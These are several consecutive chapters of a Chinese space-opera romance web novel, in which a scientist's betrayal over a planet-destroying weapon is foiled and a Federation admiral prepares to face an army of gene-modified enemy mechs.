舰桥上瞬间响起此起彼伏的呼气声，莉莉丝上尉更是伸手搭上了李珂的肩膀，借力让自己缓一缓。 广播的话音未落，谢运霖的声音又响起：“舰长抵达舰桥。” 舰桥的门打开，银发的高大Alpha从舰桥外走进来，囫囵个儿，连个头发丝都没少。 他对着舰桥的其他人弯了弯湛蓝色的眼睛：“辛苦大家了，我们现在就离开德瓦母星。” 裴简珩转向了程迹：“茱莉，德瓦军部有发现我们的身份吗？” 程迹现在还是奥克斯·奴瓦辛格的模样，他缓缓摇头：“我和德瓦军部的地勤总控对话了几句，他没有发觉异样。” 毕竟奥克斯·奴瓦辛格被裴简珩俘虏了这件事，目前还被捂得密不透风，除了1215和段洄的那些私兵以外，没人知道。 所以这位德瓦帝国大元帅，本人出现了，还在他自己的战舰上，能有什么问题呢？ 也许他们晚点会反应过来也说不定，毕竟在回到母星后的几个小时、甚至都没落地就立刻又飞走了这件事很反常——但谁管？反正他们此刻已经在德瓦母星的大气层之外了。 任务完成了一大半，所有人都松了口气。 除了裴简珩。 他注视着那颗德瓦母星越来越远，垂着眼睫不知道在想什么。 这时，舰桥上响起短暂的惊呼声，随后传来了几下肉｜体扑通倒地的声音！ 裴简珩却没有立刻回头。 因为他已经猜到发生了什么。 直到坐在舵手位置的李珂惊愕地转头回去，似乎要从腰间拔出相位枪的时候，裴简珩伸出一只手按住了他的肩膀示意他稍安勿躁，自己方才缓缓转过身去。 已经变回了原本模样的程迹，正举着一把相位枪对准裴简珩，眼神错综复杂，半晌才道：“裴简珩，请把’Annihilation’的开启密钥告诉我。” 第176章 段家的后手，是你 裴简珩迎着程迹手里的相位枪, 缓缓眯起了眼睛：“果然，段家的后手，是你, 程院士。” 程迹见他毫无惊讶之色, 反而挑了挑眉：“你怎么猜到的？” “不是我，”裴简珩淡淡道, “是闻哥。” 程迹一怔。 裴简珩唇角勾起了一抹笑意：“你们也未免太轻视第三军团之刃了。” 克米恩科学家飞快地把自己这段时间的所作所为都回溯了一遍，还是不知道是哪里漏了马脚, 只得追问：“闻上将是怎么发现的？” “他原本只是有些好奇，你到底是怎么从联邦法则之塔中逃出来的。” 纵然程迹是克米恩人, 可以随意变换外形和基因，但联邦法则之塔作为联邦这么多种族的最高监狱, 其安保条件早就考虑到了特殊种族的能力, 可不是那么容易越狱的。 一定有人帮他。 而在越狱之后, 程迹想方设法向闻铮投诚, 也坦言虽然恨德瓦帝国, 但也只要阿维尔·斯坦柯夫一个人的命。 ——光是这一点，闻铮就不信。 克米恩人的智商那么高, 程迹又是这个种族的佼佼者，他完全有能力复仇, 这种灭族之恨，是这么容易放下的吗？ 在和程迹这些天的相处中，闻铮和裴简珩达成了共识——程迹，绝对是个睚眦必报的人。 灭族之恨，不共戴天，他不可能只究阿维尔·斯坦柯夫一个人的责。 可他到底会怎么做？ 又会在什么时机、以什么方式成为这个变量？ 就在这时，闻铮去见了被关在禁闭室的段洄。 而段洄说出了那句看似语焉不详的话：“——即使我被军事法庭宣判有罪……都没关系。有人会替我们达成这个目的, 我们有着共同的愿景和一致的利益，你拦不住的。” 有人。 有一个和他们有着共同愿景和一致利益的人，在帮他们。 这个愿景还能是什么？无非就是彻底毁灭德瓦帝国和德瓦母星，让这个种族永远消失在宇宙之中！ 闻铮在当时没有多想，而在和裴简珩分开后的这些天里，他晚上睡不着，翻来覆去地把这些和德瓦帝国相关的信息想了不知道多少遍。 最后，在某一个瞬间，他把这一切都联系到了一起！ 如果有一种可能，这个人是程迹，是不是一切都顺理成章了？ 闻铮一早就有一个问题——’Annihilation’这种物质和武器到底是怎么被发现的？又是被谁发现的？ 段家固然地位崇高，但从没听说有在物理领域成就卓然的人！ 如果是背着灭族之恨的顶级物理学家呢？ 程迹不止发明了源代码，还发明了’Annihilation’，但联邦军部没人敢迈出这激进的一步，除了段和华。 而在段和华与段洄的羽翼下，程迹才能如此顺利地逃脱出联邦法则之塔，又在之后的几年里一直没有被抓到。 只有这种假设，一切才说得通！ 而当这个假设浮出心头的时候，闻铮还是忍不住叹息。 所以在那极为珍贵的十分钟通讯里，当裴简珩问他能不能借程迹来潜入德瓦母星的时候，闻铮抬眼看着他，黑漆漆的眼睛还带着微红的湿意，和他说了自己的猜想。 闻铮缓缓道：“如果和段家合谋的人真的是程迹，我不知道他会在什么时候出手，但他作为现阶段最大的变量，我们不能这么被动下去。” “你正好需要他帮你潜入德瓦母星，这样我们可以化被动为主动。”闻铮凝视着自己爱人那双湛蓝色的漂亮眼睛，轻声说，“简珩，务必、务必、务必小心。” ……果不其然。 在裴简珩三言两语解释完之后，程迹低头闷笑了起来。 “闻铮啊闻铮……真不愧是年纪轻轻就爬到了四星上将位置的将才，我自觉隐藏的足够好，竟然还是被他发现了端倪。” “我承认我一直在利用你们，”程迹此刻倒是坦诚的很，“很抱歉，但比起这段患难与共的友情，我有更重要的事情要做。” “你要复仇。”裴简珩缓缓道。 “是的。”程迹这次承认得倒是很痛快，“就像德瓦帝国毁灭了我的种族一样，我也要这个邪恶、专制、独裁、残忍的群体，永远在宇宙间灰飞烟灭。” 程迹的语调一向没有什么波动，那是他作为顶尖科学家的从容和冷漠，但在此刻，他的声音却颤抖了起来。 一个种族的毁灭，自己种族的毁灭，终于能在此刻讨回一个公平！ 程迹在这些年来的每个夜晚都无法入睡，他无数次地后悔为什么写出了那小块源代码，无数次地质问自己存在的意义到底是为什么，又是无数次任由自己被恨意裹挟填满，以至于除了让这个种族永远消失以外，他已经找不到任何苟延残喘的理由。 在这种恨和绝望的驱动下，他研究出了’Annihilation’，一种能使德瓦帝国、德瓦母星、不，整个德瓦人消失殆尽的屠戮性武器！ 然后段家找了上来，一个有着共同愿景的利益共同体就这样成立。 “我欣赏你，裴简珩。”程迹道，“我也很佩服闻铮，他不愧是能拯救联邦的第三军团之刃，足够聪明、果敢，无论是政治嗅觉性还是局势敏感度都远超常人。” “……能和你们一起度过这几个月的时间，说实话，”他垂眼笑了一下，“我也挺开心的，毕竟能让我短暂把仇恨忘记的人和事，实在是不多。” 只是很可惜，背叛在所难免。 毕竟从一开始，他的出现和接近就是一场抱有目的的欺骗。 裴简珩看着克米恩科学家那张原本面容的清秀脸庞，那是一张曾经被闻铮私下里戏称“北极兔”的脸，也许那时候的心境，再也不可能回去了。 银发Alpha垂眼扫了一眼程迹手中对准他的相位枪，倏尔一笑：“那你现在用武器对着我，是想要做什么？” 程迹重复了一遍：“我说了，我要’Annihilation’的开启密钥，我知道它在你身上。” “那你这次就猜错了，程院士。”裴简珩的声音甚至称得上有几分轻快，“我也不知道开启密钥是什么，没人知道。” 程迹一怔：“……你说什么？” “你以为我是来做什么的？”裴简珩眯起眼，反问，“难道我是来彻底毁灭德瓦母星的吗？” 如果是这样，他们何必这么费劲地阻拦段家和程迹，直接睁只眼闭只眼地等他们把德瓦母星毁灭以后再假惺惺地跳出来谴责一番，锅一甩，不就完了？ “你……” 程迹的动作顿了一下，半晌，他才咬着牙：“我真的不理解，为什么你们就是不肯让德瓦帝国毁灭？！这样一个血腥、残暴又专制的种族，到底还要有多少生命在他们手上终结，联邦才能意识到我是对的？！” “首先，需要被摧毁的是德瓦帝国，而不是德瓦人民。” 裴简珩抬手，轻轻推开了量子枪的枪口，他知道在得到所谓的开启密钥前，程迹不会对他开枪。 “程院士，在此之前，你踏上过德瓦母星吗？你知道德瓦人在还没有成年进入哨兵军队被洗脑之前，也有一双澄澈纯净的眼睛吗？” 裴简珩伸手唤醒了悬浮屏，那上面是一个已经很难再动起来的影像文件，一个还没成年的德瓦小女孩，笑得很开心，那双淡色的眼睛弯起来的时候，澄澈得像一弯还没有被污染过的月牙。 那是让闻铮从仇恨中醒悟过来的契机。 裴简珩把这个影像文件放在了程迹眼前，让这位克米恩科学家甚至在一瞬间倒退了一步！ “德瓦人在成立帝国之前，曾经有几千年的时间偏安一隅，虽然比其他的星球和种族而言显得贫穷、落后，但尚可以自给自足，这个星系几千年来都很平静。” “而在历史长河之中的某一个普通的一天，一艘远超于当时德瓦人认知和科技水平的外星星舰落在了这颗贫瘠的星球上，潘多拉的魔盒就此被打开。” 原来世界不是只有这些黄沙和岩浆，落后与贫穷。 帝国和军事的兴起让这个资源贫瘠的星球看到了希望，哪怕这些是通过掠夺殖民抢来的。 “我不是在为德瓦帝国的所作所为而开脱，我的人生也因为他们而彻底改变，他们手里也沾满了我爱的人的血。”裴简珩道，“只是这颗星球上不是只有被洗脑的德瓦哨兵和德瓦皇室在存活。” 需要灭亡的是这个专制独裁又残暴的帝国，而不是这颗星球上的每一个正在呼吸的生物。 “其次，哪怕你在此刻对我进行量子毁灭，你也拿不到开启密钥。”裴简珩笑了一下，“不是我不愿意给你，是我也不知道。” 他只是一个执行者，而决策者……从来都不是某一个人。 程迹的目光从悬浮屏上德瓦小女孩的脸上移到了裴简珩的脸上，表情变幻莫测，让人看不懂他此刻到底在想什么。 裴简珩却在他垂下眼的某一个瞬间，目光移向了程迹身后的某个位置，他眸光一闪，右手猛地攥紧成拳！ 就在这一瞬间，一股看不见的气流朝程迹的后脑席卷而去，饶是他反应够快，还是没来得及抵抗，下一刻就被一记手刀砍在了脖颈处，手腕一麻，手里那把相位枪就不受控制地掉在了地上！ 裴简珩眼疾手快，立刻把那把相位枪踹到了远处！ 第177章 不值一提 电光火石之间, 程迹根本没有反应过来，就已经是天旋地转，下一秒就发现自己已经躺在了地上！ 是谁？！ 舰桥上的所有人都已经被他击晕了, 只有裴简珩和李珂还醒着, 但他的视线能把这两个人都牢牢锁定住，他们根本动都没动！ 他的脖颈还传来巨大的痛感, 让他双眼都有些发黑，迷蒙间, 一双黑色的军靴走到了他的面前，程迹有些费力地抬眼看去, 银发Alpha俯视着他，眼底神情复杂。 “程院士, 我感激你, 也敬重你。” “无论你是抱有何种心态前来, 你确实在魁斗星盗手中救了我们所有人的命, 也帮我们发现了破晓号空间迁跃动力的秘密, 否则我们早就死了。” “并且，如果不是你的帮助, 我们也不可能这么顺利地潜入UNK-322，摧毁了那座实验基地, 救回了那么多人，还带回了逐星号。” 程迹缓缓闭上了眼睛，声音沙哑：“我不是为你们，我抱有利用和欺瞒你们的目的前来，就是为了找机会和段家里应外合，永久地毁灭德瓦母星。既然已经失手了，你现在说这些也没有什么意义。” 裴简珩却在他面前蹲了下来, 轻轻叹了口气：“论迹不论心，无论你怀揣着什么目的，你为我们和联邦做出的贡献是不可否认的。” 程迹默然。 这时，一个人影突兀地在他面前现身，程迹一眼就从外貌特点中看出了这是纽瑟人，登时明白了过来！ 纽瑟人可以隐身，其中佼佼者更是可以短时间躲过探测机器！ 从程迹踏上DEHWA-2075的舰桥的第一秒，他就不动声色地观察了整个舰桥的人员分布和数量，他发誓，当时绝对没有纽瑟人！ ……原来这个纽瑟人，一直在藏着，就只在等他动手。 裴简珩，你这一步棋到底布了多久？ 怀特瞥了刚被自己下了狠手打在脖颈上的克米恩人一眼，对裴简珩颔首：“舰长。” 裴简珩拍了拍他的肩膀：“做得很好。” 程迹想的没错，自从闻铮让他小心程迹以后，裴简珩就开始运筹帷幄了。 虽然程迹和段家合作只是一个猜想，但裴简珩当然要先埋一步，宁可用不上，也不能让自己和手底下的人陷入被动的局面。 所以在程迹登上DEHWA-2075的时候，裴简珩就已经让怀特隐身藏在了舰桥之上，并且用舰长的最高权限命令谢运霖保密。 对智能融合体来说，舰长的命令高于个人意志，所以哪怕谢运霖有心想提醒程迹，有裴简珩的命令在，他也做不到。 一切都布局好了，但裴简珩从心底希望这些都用不上。 只是从程迹端起相位枪的那一刻开始，他的希望就已经破灭了。 怀特问道：“茱莉怎么处置？” 裴简珩最后垂眼看了一眼程迹，淡淡道：“先关到禁闭室吧，说到底他也没有产生什么影响，让医疗官来把其他被击晕的人唤醒，我们需要返程了。” “明白！” 程迹听着裴简珩的安排，他声线沉稳，命令明确，和他们四个月前初次见面的时候相比成熟了很多，甚至能在他身上看到一丝那位闻上将的影子。 他低声笑了起来。 裴简珩看向他：“在笑什么？” “我不是瞎子，裴简珩。”程迹说，“我看得出来你和闻铮的关系，我只是感叹，没想到这位第三军团之刃，竟然会爱一个人爱到如此地步。” 裴简珩拧起眉头，被程迹发现了他和闻铮的关系这点他倒是不惊讶，毕竟到了后期，他和闻铮也没有特意地隐瞒，这位克米恩科学家心眼多得像筛子，怎么可能看不出什么猫腻。 但他在此刻说这句是…… 裴简珩缓缓问道：“你想说什么？” “闻铮已经看出来我的阵营了，他完全可以把我留在悬空号上，我在明他在暗，我斗不过他。”程迹微阖双眼，“你问他要我过来，他不止同意了，还倾囊而出他对我的怀疑，明摆着就是把这份阻止毁灭德瓦母星的功劳奉到你的手上。” 裴简珩刚要说什么，却被程迹下一句话惊到一句话都说不出来！ 程迹轻描淡写地扔下一枚炸弹：“如果我猜得没错，特娜伦带着这艘德瓦战舰的出现，也不是巧合，你要不要去问问呢？” 裴简珩蓦地瞪大了那双湛蓝色的眼睛！ …… 程迹被关到了禁闭室，所有人都好奇这个棕发的美女科学官怎么就变成了一个一米九几的男人，但裴简珩没有解释，所以也没人敢问。 裴简珩让李珂设定好了前往中立区的航线，等舰桥上所有被击晕的人重新回到岗位之后，年轻的舰长才急匆匆地冲出了舰桥。 特娜伦刚驾驶着小型追击舰回到DEHWA-2075的甲板上，水还没来得及喝上一口，一抬眼，就被人高马大的基因战士堵在了甲板上。 星盗头子眼睛一瞪就张嘴骂：“裴简珩你他——” 银发Alpha却目光沉沉，脸色不太好看，鲜少这般不顾礼节的抢话质问：“特娜伦，你们到底为什么会拦下我的船？” 特娜伦还没说出口的话戛然而止。 她移开目光：“问什么废话！不是都和你说了吗，撞撞运气找第三军团的星舰，谁知道正好找到你这儿——” “是闻铮让你来的，对吗？” “对什么对，”特娜伦把目光移回来，瞪着他，“瞎猜什么！” 裴简珩就那么直视着她的眼睛，直到特娜伦眼底的心虚越来越大，不得不摆摆手投降：“算了算了，真搞不懂你们这帮人类……这可不算我透露的啊，这是你自己猜到的，闻铮可别想赖在我头上……” 特娜伦的声音越来越小，最后还是破罐子破摔地说：“是是是，是他找的我。” 前几天的时候，一个私人通讯打向了她的通讯终端，她一接听，瘦削俊美的上将投影就跳了出来。 特娜伦双手环胸：“来要船啊？我又不是不还，至于盯这么紧吗。” 闻铮歪头：“这艘船，你喜欢的话我也可以送你，就当还你的钢铁之心。” 特娜伦眼神一亮：“你说真的？！” 闻铮微微一笑。 特娜伦立刻察觉有诈，防御之心顿起：“不，不可能，你绝对有什么条件等着我。说吧，我考虑一下。” “真喜欢和聪明人讲话。”闻铮弯了弯眼睛，曜黑眼底有了几分真心的笑意，“我希望你可以帮裴简珩一起前往德瓦母星，他可能会需要你。” “德瓦母星？”特娜伦皱眉，“裴简珩去德瓦母星干什么？战场不是在东翼和洛河星系吗？” “其中原委比较复杂，也涉及到联邦的机密，恕我没办法仔细告知。”闻铮有些抱歉，毕竟请人家出生入死地去帮忙，还不能把真相都说清楚，确实有些过分，“但你放心，我了解简珩，你一旦现身帮忙，只要他还活着，就绝对不会让你们有危险。” “只是有一件事，”闻铮垂下眼，“请务必不要透露是我来请你们过去的。” 特娜伦挑眉：“为什么？” 闻铮没有说话。 他不想插手裴简珩的任务，但他实在是担心。 潜入德瓦母星，哪里是那么简单的事情？ 更何况，如果这个时候魁斗星盗参与了这项任务，在战争结束之后，能把最难搞的魁斗星盗都笼络到联邦旗下的功勋，就在裴简珩头上了。 可如果这个桥是闻铮来搭，就完全不一样了。 特娜伦当然也能想到这一点，魁斗星盗虽然比较粗犷，但不代表她毫无政治嗅觉。 她立刻饶有兴味的坐直了：“闻铮，你好像对这个年轻的基因战士特别好，我从没听说第三军团之刃是这么体贴的人，为他铺路，为他筹谋，为他卖面子，现在就连军功和功勋都拱手相让……啧，真让我难以相信啊。” 闻铮抬眼看着她，毫不避讳：“因为裴简珩是我的爱人。” 特娜伦：“……” 特娜伦：“？” 特娜伦：“？！” 星盗头子头晕眼花：“诶不是——” “我没有拱手相让任何东西，我做的这些，比起他为我做过的事来说……” 闻铮微一停顿，随后吐出的四个字，重逾千斤。 “……不值一提。” 惊诧的表情还没有从特娜伦的脸上褪去，动容的神色又爬上了几分。 …… 她挑挑拣拣地和眼前的银发Alpha说了，对闻铮的政治思量一笔带过，却把闻铮那句简简单单的剖白一字不落。 特娜伦眼见着裴简珩的眼眶在一瞬间就红了起来，那双薄薄的嘴唇都有些颤抖，一时之间竟然一句话都说不出来。 过了好一会儿，他才喃喃道：“不值一提……闻哥怎么能这么想……” 怎么会不值一提？！ 他愿意相信自己，愿意卸下心防来爱自己，为了自己，他甘愿把自己的前途和职业生涯都和艾德莱斯一家绑定，他明知道身体受不了，还要去找赫尔求证怎样才能进行最终标记。 哪一件事不值一提？！ 怎么会不值一提？！ 裴简珩并不愿意在外人面前失态，更遑论是示弱，只是他的心被闻铮紧紧揪着，根本做不出任何镇定沉稳的神态来。 特娜伦微微仰头看着他，轻轻叹气。 “先结束这场战争吧，”她笑了笑，“裴简珩，闻铮在等你呢。”—— 作者有话说：[求你了][求你了][求你了] 第178章 基因改造战士 洛河星系, 7号星外 距离约定好的时间还剩三个小时，阿维尔·斯坦柯夫以为闻铮胜券在握，而实际上, 第三军团之刃哪怕看似镇定自若地坐在悬空号的舰桥上, 心里却也还是七上八下的打鼓。 最艰难的任务交给了1215，也交给了他的爱人, 怎么能让他不心急如焚。 旁人可能看不出来，如此了解他的凯利斯却把他隐藏的很好的烦躁尽收眼底, 他从自己的位置上站起来，走到舰长席旁边, 低声问：“十个小时后，如果哨兵5军和7军没有投降, 我们怎么办？” “最坏的情况, 那就只能硬打了。”闻铮抿紧了唇, 他的嘴唇不薄不厚, 抿成了一个决绝的弧度, “不过多亏了江悦和瑜淞带着7号星自卫军筑成的防线，再配合怀哲那边的36艘德瓦战舰, 我们还算占上风。” “但我感觉你还是有些思虑。”金发大副道，“我真的很好奇到底有什么办法能既让德瓦哨兵投降, 又能兵不血刃。” 闻铮唇边泛起了一抹冷笑：“除了威逼，还能有什么办法。” 凯利斯一顿。 威逼？ 他们手里有什么对方的把柄，能强大到左右一个帝国的出兵与否吗？ 但他见闻铮不愿意多说，想必也是绝密任务，倒也识趣地不再追问，只是看着自己长官兼好友眉宇间隐隐的焦躁，轻声道：“别担心, 裴简珩很强，他不会有事的。” 闻铮轻轻呼出一口气。 任何通讯都有被破解侦查的风险，通讯的次数越多，风险就越高，所以在最后的尘埃落定之前，他和裴简珩不能有过多的联络。 所以他也只能就这样，干等着。 达摩克利斯之剑，如此高悬。 “舰长！” 接替楼怀哲的通讯副官倏地出声报告：“有来自联邦的通讯！” 舰长和大副都猛地起身转头看去，给通讯副官吓得够呛，说话都有点结巴：“要、要接听吗？” 闻铮喉头滚动，眉宇间的期待一闪而过，急急问：“……是谁的通讯？” 通讯副官答道：“联邦总部，从通讯代码来看，应该是艾德莱斯五星上将。” “……” 闻铮眉眼间闪过一丝失望，很快隐匿不见，缓缓道：“机密程度？” 通讯副官：“三级。” 闻铮坐到转椅上，转了回去：“请转播到主屏幕上。” 一秒后，艾德莱斯五星上将的影像出现在了悬空号的主屏幕上，他对着闻铮微一颔首：“闻舰长。” 闻铮对他行礼：“五星上将。” “洛河星系现在的局势如何？” 闻铮把刚刚发生的一切都简明扼要地和艾德莱斯做了一个简报，艾德莱斯在听到阿维尔·斯坦柯夫的身份以后震惊不已：“你的意思是说，德瓦帝国的幕僚长潜伏在联邦7号星上，长达几十年之久？！而在这个过程中，竟然没有一个人发现他的身份有问题！” “我母亲应该发现了异样，只是在她掌握到更确实的证据之前，就被阿维尔·斯坦柯夫害死了。”闻铮垂眼，“阿维尔·斯坦柯夫这步棋布了太久，如果不是阴差阳错之下被发现，联邦和人类都将陷入灭顶之灾。” 艾德莱斯看着他，目光柔和，眼神里满是认可与骄傲：“闻上将，你拯救了人类和联邦，又一次。” “这话说得太重了，艾德莱斯上将。”闻铮脸上闪过一丝苦笑，“先不说这中间运气和巧合的成分有多少，这又怎么可能是我一个人做到的？” 话音未落，似乎是不想再在这个事情上多做纠缠，他轻轻地岔开了话题：“东翼战场的局势如何了？” 艾德莱斯上将脸上流露出几分欣慰：“奥克斯·奴瓦辛戈被捕以后，哨兵1军与3军失去指挥官，虽然不至于瞬间大乱，但指挥官久不归位，瑞德上将又在此刻领兵突进，东翼战场的德瓦哨兵也军心涣散，虽然还要再打一段时间，但应该不足为惧。” 闻铮也跟着松了口气。 “但我这次联系你，也是有一个消息要同步给你。”艾德莱斯上将眉心微皱，缓缓道，“瑞德上将联系我，他观察到有部分兵力从德瓦哨兵1军中悄然分离了出来，进入了空间迁跃模式，目的地暂不可知。” “这帮分离出来的德瓦哨兵数量众多，且战力极强，就连第二军团的精锐部队都没能拦截下来。” 闻铮猜到了艾德莱斯上将的未完之意，眯起了眼睛：“您怀疑他们是奔着这里来的？” 艾德莱斯上将颔首。 所以在瑞德上将和他汇报了这个动向以后，他立刻就联系了悬空号。 但出乎他意料，闻铮脸上却没有任何惊讶或忧虑的表情，似乎……早就猜到了？ 艾德莱斯挑眉：“你知道会有兵力从东翼战场分过来？” “不难猜。”闻铮淡淡道，“奥克斯·奴瓦辛戈已经被俘虏，德瓦帝国军部内部有能力的人才断档，除了他以外没有新生代的将才，东翼战场必定很快就如同一盘散沙，德瓦哨兵必败。” “在这种前提下，阿维尔·斯坦科夫一定会把最后的底牌移来7号星殊死一搏。” “那你有什么打算？” 闻铮只是轻轻浅浅地笑了一下，颊边的小梨涡若隐若现。 在艾德莱斯的通讯结束后，没过五分钟，通讯副官又再次报告：“舰长，又有一个来自联邦的通讯，您是否要接听？” 他低头看了一眼屏幕，识趣地补充：“来源未知，机密程度为……零级。” 零级？！ 通讯副官一瞬间还以为自己看错了，零级是联邦最高级别的加密通讯，他干了这行几十年，这还是他第一次接到过零级的通讯！ 想来闻舰长也是一样惊讶吧，不然他怎么会嗖地一下就从舰长席站起来，又嗖地一下冲出了舰桥……只留下了一句“转到我舱室！”后就不见了踪影。 通讯副官一时之间还没反应过来，等到凯利斯大副都坐上了舰长席，笑眯眯地看向他：“还不转，等什么呢？” 他这才猛地一激灵，连忙转了过去！ …… 而在半分钟后，闻铮推开了自己舱室的门，正好赶上通讯转来，他几乎是颤抖着手按下了接听按键。 下一秒，他心心念念的身影就出现在了眼前。 依然那样的高大俊美，一双湛蓝色的眼睛柔情似水地看着他，眼底的爱意就快要倾泻而出。 闻铮想要说什么，双唇还在翕动，却见裴简珩先一步开口，声音温柔坚定：“成功了，闻哥，我们成功了。” 一颗心这才晃晃悠悠地归位。 闻铮闭上眼，深吸了一口气。 终于……终于！ 等他再睁开眼睛的时候，那双漆黑如夜的眼底已经燃起了燎燎火光：“我知道了，三小时后，我们就结束这一切。” 裴简珩注视着他那双永不肯后退的倔强双眼，轻声道：“……好。” 那些闻铮不想让他知道的事，他可以永远都假装不知道。 他现在只想结束这一切，再把自己的爱人、自己的Omega拥在怀里，别无他求。 闻铮抬眼，伸手给他，似乎忘记了眼前的人其实只是一个全息投影，根本无法被触碰。但裴简珩也像忘记了这码事一般也举起了手，两个人正隔着时空的距离尝试将爱人的手和自己的贴在一起，明知道这是徒劳无功，却仍然要试上一试。 “既然如此，”闻铮低声喃喃，“我希望你能再帮我一件事。” …… “舰长！” 凯利斯猛地从位置上站起来，眉头紧皱：“我们监测到有一大批德瓦生命体正在接近这里！” 闻铮看着他移到主屏幕上的监测图，那里有一大团黑红色的东西正在以空间迁跃模式极速前进。 他淡淡道：“放大，扫描。” 他话音还未落，凯利斯已经娴熟地完成了操作，悬空号上所有军官都倒吸了一口冷气！ 那是黑压压的一片机甲群！ 扫描系统给出了结果，机甲群是由13362个独立机甲组成的，但系统在进一步尝试扫描隐匿于机甲之中的生物体信息的时候，却受到了阻碍。 凯利斯看着屏幕上扫描失败的提示，皱起了眉头。 悬空号配备的所有设备都是联邦最高科技水平，怎么会扫描不出来生物信息？ 除非……这种生物并不在联邦已有的成熟物种数据库里！ 那这是…… “不用扫描了，我知道他们是谁。” 闻铮的表情却没有丝毫波动，只是平静地说：“被奥克斯·奴瓦辛戈进行基因改造后的德瓦基因改造战士。” 凯利斯愕然！ 基因改造战士？！ 像裴简珩那样的基因改造战士，有13362个？！ 闻铮一眼扫过去就知道自己的大副在想什么，几不可闻地摇了摇头：“他们是失败品，我刚才已经和艾德莱斯五星上将、瑞德上将都联络过了，这些所谓的德瓦基因改造战士的自主思维都已经被剥夺了，无法通过正常的方式来沟通交流，也不知道是怎么服从命令的。但他们的战力惊人，在东翼战场重创了第二军团。” “一定是利切——阿维尔·斯坦科夫把他们从东翼战场调过来的，”凯利斯沉了脸色，“您预估的一点都没错，他果然不会轻易投降。” 闻铮不置可否。 他凝视着主屏幕上那群黑压压的德瓦基因战士，眼底晦暗难明。 自己确实早就猜到了会有这一幕，此刻他有些庆幸在此之前，他做出了那个决定。 第179章 以一挡千 闻铮和凯利斯的话还没说完, 就听见接替楼怀哲的通讯副官立正报告：“舰长，有通讯申请拨入。” 闻舰长朝他看去，通讯副官神色凝重：“是德瓦总战舰拨来的。” 德瓦总战舰, 那就是利切尔, 也是阿维尔·斯坦科夫。 距离给出的时间还有两个小时，阿维尔·斯坦科夫专挑德瓦基因战士逼近洛河星系的时候打来通讯, 这个意味呼之欲出。 闻铮知道他在挑衅什么，无非就是宣告战局变势已起, 让闻铮不要高兴的那么早，胜负还未落定。 在得到了闻舰长的首肯以后, 通讯副官接通了通讯。 主屏幕上，那张闻铮见过几十年的脸, 如今的神情却分明陌生到让他甚至都认不出来。 “还有一个小时, 德瓦帝国幕僚长。” 最年轻的联邦四星上将坐在舰长席上, 他身上的军装板正整齐到没有一丝褶皱, 更加衬得他身姿挺拔, 神色自若。 “现在联系我，是打算提前撤兵投降？”闻铮似笑非笑, “只是你们现在被第三军团、洛河星系护卫军、7号星自卫军和36艘德瓦战舰包围，想撤兵, 也得先征求我的同意才行。” 阿维尔·斯坦科夫阴鸷地盯着他：“闻铮，我从你还没出生的时候就开始筹谋，筹谋到如今已经几十年，你还想我放弃一切投降？别做梦了！” 闻铮却挑起了唇角，闻上将要是想气人的时候，那是真的能把人气死：“那你还能怎样？从德瓦母星调兵过来吗？我虽然没有那么了解你们德瓦帝国，倒也是略知一二。你们开战前都要和德瓦皇帝立誓对赌, 一旦失败，整个家族都会倾塌，你和奥克斯·奴瓦辛戈手里面一共就这些资源，德瓦皇帝可不会管你们死活。” 阿维尔·斯坦科夫被他戳到痛脚，他眼神阴毒，努力平复着自己的呼吸，胸口都上下起伏的厉害，好像马上就要发作某种心脏疾病，半晌，他才阴恻恻道：“闻铮，你以为你就胜券在握了？你的这些人，在我们的武器面前，不值一提！” “是吗？” 闻铮微微偏头：“你所谓的武器，该不会指的是奥克斯·奴瓦辛戈研究出来的那些基因战士吧？” 阿维尔·斯坦科夫的右手猛地攥紧成拳！ 他居然连这个都知道？ 但知不知道都不重要了，没人能拦得住这一万多的基因战士！ 这时，德瓦大副恭敬地对他行礼：“幕僚长大人！基因战士会在十秒后脱离空间迁跃模式到达洛河星系外侧包围圈，倒计时，十、九——” 志得意满和胜券在握在这个时候爬上了阿维尔·斯坦科夫的眼底。 “——三、二、一！” 黑红大军密密麻麻地出现在了太空之中，好像一窝太空马蜂，黑红的机甲泛着幽冷的光，确实让人看着心头发颤。 阿维尔·斯坦科夫挂起了诡谲的笑容，柔声道：“闻上将，这些基因战士在十分钟内就杀了你们联邦第二军团四分之一的人，你猜猜他们把外围的第三军团悉数歼灭，需要多久？” 而出乎他所料，闻铮脸上却没有一丝慌乱或震惊的表情，他只是端坐在悬空号的舰长椅之上，那张瘦削艳丽的脸上毫无波澜，甚至看向阿维尔·斯坦科夫的眼神里还带了几分怜悯。 “三分钟，”他歪了歪头，“如果你们的基因战士不投降，他们就会永远地消逝在这里。” “哈哈哈！哈哈哈哈哈哈！” 阿维尔·斯坦科夫闻言大笑起来！ “你凭什么这么自信？”他刹住笑容，神色阴冷嘲讽，“就凭那艘拦在我基因战士群前方的联邦小船吗？” 正如阿维尔·斯坦科夫所说，在刚刚，从空间迁跃模式中退出的不止那13362个基因战士机甲，还有一艘联邦追击舰。 那艘追击舰本就不是巨型战舰，银白色星舰在黑红色机甲群面前显得分外的渺小与单薄。 “就凭它。” 闻铮灿然一笑，他一向冰冷，这样突兀的笑却让德瓦总战舰上的德瓦军官们心里悚然一惊！ 果不其然，似乎在论证他们的心悸不是空穴来风，闻铮的话音刚落，那些刚刚退出空间迁跃的基因战士机甲群，瞬间火光冲天！ …… 五分钟前 “裴少将——裴舰长，”李珂咽了咽唾沫，艰难地问，“我们真的要拦住这帮德瓦机甲吗？他们兵力是我们的一千倍还多！” 在从德瓦星系返回后，他们本来设定了空间迁跃去洛河星系的坐标，结果裴简珩在接了一个神秘的通讯之后，决定在距洛河星系还有一点距离的地方提前退出空间迁跃。 他下达了这个命令，并且轻描淡写地让所有人做好准备。 怀特有些迷惑：“准备什么？” 裴简珩：“准备应战13362个德瓦基因机甲战士。” 怀特：“？” 李珂：“？” 舰桥上的所有人：“？？？” 刚从西斯星上埋完一部分’Annihilation’回来的特娜伦嗤笑一声：“自杀式任务啊？那我就先走一步了，我可不和你们这帮联邦的人死在一起。” 裴简珩没搭理星盗头子的贫嘴，只是平静地说：“防护罩开启100%，隐形罩开启100%，准备五秒后的对敌波动。” “五、四——” 随着他的倒数，舰桥上的1215成员立刻抓紧开始设置对敌模式。 怀特和李珂互相对视了一眼，都在对方眼底看到了茫然。 虽然1215的所有人早就已经发誓要将生命献给联邦，但裴简珩自从掌管1215以来，从来不会拿他们的生命冒险。 所以他们虽然有些疑惑为什么裴简珩会敢带着这几十个人就去对战那13362个德瓦基因机甲战士，但……他们相信裴简珩。 退一万步讲，就算真的是以卵击石，又能怎样呢？ 